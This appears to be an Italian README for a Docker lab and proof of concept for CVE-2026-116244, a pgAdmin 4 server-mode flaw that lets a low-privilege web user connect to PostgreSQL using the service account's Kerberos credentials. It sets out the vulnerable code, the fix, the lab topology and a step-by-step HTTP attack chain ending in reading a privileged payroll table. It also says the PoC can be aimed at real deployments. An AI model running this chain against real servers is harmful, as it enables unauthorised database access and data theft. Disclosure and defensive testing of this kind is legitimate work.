Lab containerizzato e PoC basato solo sulla stdlib per CVE-2026-116244: la modalità server di pgAdmin 4 espone le credenziali Kerberos del proprio account di servizio a PostgreSQL tramite GSSAPI, consentendo un'escalation di privilegi senza password.
| CVE | CVE-2026-116244 |
| Prodotto | pgAdmin 4 (modalità server) |
| Affected | ≤ v9.18 |
| Fixed | v9.19 (2026-10-29), issue #10655 |
| Class | Ambient credential confusion / authentication bypass (CWE-668-ish) |
| Preconditions | pgAdmin viene eseguito in modalità server; l'account del sistema operativo che esegue pgAdmin dispone di credenziali Kerberos raggiungibili tramite la cache delle credenziali predefinita (/tmp/krb5cc_<uid>) o il keytab predefinito/client — esattamente ciò che accade quando l'host di pgAdmin è stato kinit-ato per l'account di servizio o utilizza un keytab client; l'attaccante necessita di qualsiasi account web pgAdmin (autenticazione interna, senza Kerberos); un server PostgreSQL raggiungibile dall'host pgAdmin che si autentica con GSSAPI (e mappa il principal del servizio su un ruolo privilegiato — ad esempio il principal del servizio pgAdmin è anche superuser/proprietario del database). |
| Impact | Un utente web con privilegi bassi fa sì che libpq di pgAdmin risponda alla sfida GSSAPI del database come principal dell'account di servizio pgAdmin, ereditando ogni privilegio che tale principal possiede su quel server. Nessuna password, nessun login Kerberos, un unico percorso di clic non autenticato verso il database. |
Per ogni connessione al server effettuata per conto di un utente web, pgAdmin (≤ 9.18)
"isola" temporaneamente lo stato Kerberos in
web/pgadmin/utils/locker.py:
if source == KERBEROS and 'KRB5CCNAME' in session and self.is_kerberos_conn:
environ['KRB5CCNAME'] = session['KRB5CCNAME'] # user's delegated ticket
else:
environ.pop('KRB5CCNAME', None) # <-- the bug
La rimozione di KRB5CCNAME non rimuove Kerberos: libpq risponde comunque alla
richiesta AuthenticationGSS del server, e la libreria Kerberos ripiega
sulla cache delle credenziali predefinita dell'account del sistema operativo che esegue pgAdmin
(/tmp/krb5cc_<uid>) — oppure ne acquisisce una dal keytab client predefinito
dell'account (~/client.keytab, KRB5_CLIENT_KTNAME). Qualunque TGT detenga l'account
di servizio viene usato per lo scambio GSS, quindi l'utente web si autentica come
il principal di servizio (ad es. pgadminsvc@REALM), e la mappatura pg_ident di PostgreSQL
lo fa quindi accedere al ruolo privilegiato a cui quel principal è mappato.
La connessione stessa è psycopg.Connection.connect(...) all'interno del locker
(web/pgadmin/utils/driver/psycopg3/connection.py), quindi le credenziali trapelano
attraverso il percorso del driver di pgAdmin stesso — e allo stesso modo attraverso psql/pg_dump, che
ereditano lo stesso ambiente.
locker.py ora punta l'ambiente a una cache/keytab che non può mai esistere
e in più blocca in modo definitivo la negoziazione GSS a livello di libpq:
NO_KERBEROS_CREDENTIALS = {
'KRB5CCNAME': 'FILE:' + NO_CLIENT_FILE, # inside the app dir, never creatable
'KRB5_CLIENT_KTNAME': 'FILE:' + NO_CLIENT_FILE,
}
# plus, for every connection that may not use Kerberos:
# gssencmode=disable
# require_auth=!gss,!sspi (libpq >= 16; blocks SSPI on Windows and gssproxy)
# a server whose require_auth allows only gss/sspi is refused outright.
Un utente che ha effettuato effettivamente l'accesso a pgAdmin con Kerberos ottiene comunque il proprio KRB5CCNAME delegato, ma solo per i server con l'autenticazione Kerberos abilitata.
┌────────────┐ UDP/TCP 88 ┌───────────────────┐
│ kdc │◄───────────────►│ db (postgres:17) │ pg_hba: host gss only
│ MIT realm │ │ alias db.lab.test│ map: pgadminsvc→pgadminsvc
│ LAB.TEST │ │ secrets.payroll │ (privileged role owns it)
└─────┬──────┘ └─────────▲─────────┘
│ ktadd/ccache export (bind mount)│ GSSAPI 5432
│ │
┌─────▼──────────────────┐ ┌──────────┴──────────┐
│ pgadmin-vuln :9.18 │ │ pgadmin-fixed :9.19 │
│ dpage/pgadmin4:9.18 │ │ dpage/pgadmin4:9.19 │
│ uid 5050 + │ │ same service- │
│ /tmp/krb5cc_5050 │ │ account ccache … │
└────────────────────────┘ └─────────────────────┘
▲ HTTP 50918 / 50919 HTTP 50919
└─────────────── poc.py (attacker = ordinary web user)
kdc — realm MIT Kerberos LAB.TEST; esporta la keytab del servizio PG e un
ccache TGT per [email protected] che finisce esattamente nel percorso
ccache predefinito (/tmp/krb5cc_5050) dell'account di servizio di pgAdmin (uid 5050) in
entrambi i container pgAdmin. Nessun KRB5CCNAME viene esportato nel processo
pgAdmin — quella cache predefinita ambientale è precisamente la credenziale che la CVE
espone.db — PostgreSQL 17 dove GSSAPI è l'unico metodo di autenticazione remota
(host all all 0.0.0.0/0 gss include_realm=0 map=gssmap), con
pgadminsvc proprietario di una tabella secrets.payroll e alice un ruolo innocuo.
Il login web dell'attaccante non è mappato a nessun ruolo PostgreSQL.pgadmin-vuln / pgadmin-fixed — immagini ufficiali dpage/pgadmin4 9.18 e
9.19 in modalità server; un [email protected] non amministratore
viene creato su entrambe.Tutto viene eseguito con limiti di CPU/memoria (--cpus 2 --memory 4g, verificati tramite
NanoCpus dopo la creazione) su un'unica rete docker.
poc.py)POST /authenticate/login come utente interno ordinario (danza CSRF tramite
le props della pagina /login + token /browser/js/utils.js).POST /browser/server/obj/1/ — registra il server db.lab.test:5432 con
username=pgadminsvc, nessuna password, kerberos_conn=true (questo flag salta anche
il prompt "password richiesta" — il percorso GSS viene preso in ogni caso).POST /browser/server/connect/1/<sid> — pgAdmin 9.18 risponde alla sfida GSS
con il ccache predefinito dell'account di servizio:
connection authorized: user=pgadminsvc … [email protected]./sqleditor/initialize/… + /query_tool/start + /poll):
SELECT current_user → pgadminsvc, poi SELECT * FROM secrets.payroll
→ i dati privilegiati.Su 9.19 la stessa catena fallisce al passo 3 con
authentication method requirement "!gss,!sspi" failed: server requested GSSAPI authentication anche se il ccache ambientale è ancora montato — a dimostrazione che
è la correzione a bloccarla.
./lab.sh up # build + start kdc, db, pgadmin 9.18 & 9.19
python3 poc.py --url http://127.0.0.1:50918 # → VULNERABLE, exit 0
python3 poc.py --url http://127.0.0.1:50919 # → NOT VULNERABLE, exit 1
./lab.sh teardown
poc.py utilizza solo la libreria standard. In un deployment reale, puntare --url su pgAdmin
e --target-* su qualsiasi server PostgreSQL con autenticazione GSSAPI che riesca a raggiungere.
Il PoC funziona anche completamente in container: docker run --rm --network cve116244net -v "$PWD/poc.py":/poc.py:ro python:3.13-slim python3 /poc.py --url http://cve116244-pgadmin-vuln.